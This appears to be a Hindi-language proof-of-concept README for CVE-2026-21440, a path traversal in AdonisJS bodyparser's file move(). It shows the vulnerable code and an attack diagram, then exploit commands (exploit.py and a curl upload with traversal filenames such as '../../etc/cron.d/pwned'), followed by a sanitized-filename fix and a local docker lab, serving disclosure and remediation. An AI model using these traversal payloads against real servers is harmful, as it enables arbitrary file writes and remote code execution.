// @adonisjs/bodyparser में भेद्य कोड पथ
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← असैनिटाइज़्ड क्लाइंट इनपुट
  const filePath = path.join(location, fileName)     // ← path.join ट्रैवर्सल की अनुमति देता है
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

┌─────────────────────────────────────────────────────────────────┐
│                         हमलावर                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    भेद्य एडोनिसजेएस ऐप                           │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← कोई सैनिटाइज़्ड नाम प्रदान नहीं   │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   हल होता है: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई                        │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    मनमाना फ़ाइल लेखन
                         → क्रॉन के माध्यम से आरसीई
                         → कॉन्फ़िग ओवरराइट
                         → एसएसएच कुंजी इंजेक्शन

# शोषण निर्देशिका पर नेविगेट करें
cd Exploit-PoC

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# शोषण चलाएँ
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

// ❌ भेद्य - क्लाइंट-आपूर्ति किए गए फ़ाइलनाम का उपयोग करता है
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName फ़ाइलनाम के रूप में उपयोग किया जाता है
  }
  return response.ok({ message: 'uploaded' })
}

// ✅ सुरक्षित - सैनिटाइज़्ड फ़ाइलनाम उत्पन्न करता है
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // मूल एक्सटेंशन के साथ अद्वितीय फ़ाइलनाम उत्पन्न करें
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // ओवरराइट रोकें
    })
  }
  return response.ok({ message: 'uploaded' })
}

# रिपॉजिटरी क्लोन करें
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# भेद्य वातावरण शुरू करें
docker-compose up --build

# दूसरे टर्मिनल में, शोषण चलाएँ
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# सत्यापित करें कि फ़ाइल अपलोड निर्देशिका के बाहर लिखी गई थी
docker-compose exec app cat /app/test.txt